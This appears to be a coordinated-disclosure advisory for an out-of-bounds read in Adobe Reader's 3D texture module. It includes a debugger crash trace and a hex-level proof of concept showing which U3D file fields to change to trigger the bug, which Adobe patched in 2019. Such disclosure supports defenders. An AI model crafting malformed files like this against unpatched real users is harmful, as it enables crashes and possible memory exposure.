Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

An out-of-bounds read can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20099.
# The stack trace at crash site:

(17fc.a04): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=30b80ff8 ebx=19b7fff8 ecx=00ffffff edx=00000004 esi=30b8cfd0 edi=00000100
eip=602da999 esp=003eb070 ebp=003eb090 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010283
2d!png_set_filter_heuristics+0x7526:
602da999 0fb64c5301      movzx   ecx,byte ptr [ebx+edx*2+1] ds:0023:19b80001=??

0:000> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 003eb090 602da605 16ee8d38 30b8cfd0 602db1e7 2d!png_set_filter_heuristics+0x7526
01 003eb0c4 602d2ab8 1d30efa8 23150e68 2ac1afb0 2d!png_set_filter_heuristics+0x7192
02 003eb0d8 5b2377f6 00000006 1d30efa8 23150e68 2d!E3DLLFunc+0xbe5
03 003eb0f8 5b1fae58 31abef90 00000006 1d30efa8 rt3d!FILETYPE::Func2d+0x5e
04 003eb580 5b1f93ee 353d55a8 003eba38 00000000 rt3d!PrepareRescale+0xac8
05 003eb5b8 5b22c859 353d55a8 003eba38 00000000 rt3d!GetPicture+0x2e
06 003eb7f4 5b22d566 353d55a8 003eba38 00000000 rt3d!EndPicturesCache+0x5352
07 003ebc64 5b22ca9b 353d54e8 353d55a8 003ec2ac rt3d!EndPicturesCache+0x605f
08 003ec4b8 5b22cd56 353d54e8 00000000 2ac1afb0 rt3d!EndPicturesCache+0x5594
09 003ec718 5b1dfda5 2b1b0cb0 2ac1afb0 00000000 rt3d!EndPicturesCache+0x584f
0a 003ec738 5b1677ea 00000002 2ac1afb0 898d5822 rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0b 003ecbb8 5b133ebd 00000000 1d3eafc8 00000000 rt3d!V4CUnloadRT+0x30b97
0c 003ecbd0 5c4206df 1d3eafc8 00000000 003ecc24 rt3d+0x3ebd

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications need to be made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.tif"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 74 69 66

Timeline:

2019-05-07 Vendor disclosure
2019-08-13 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-41.

Description of the vulnerability#

Proof of Concept#

Timeline:#

Vendor Response#

Description of the vulnerability

Proof of Concept

Timeline:

Vendor Response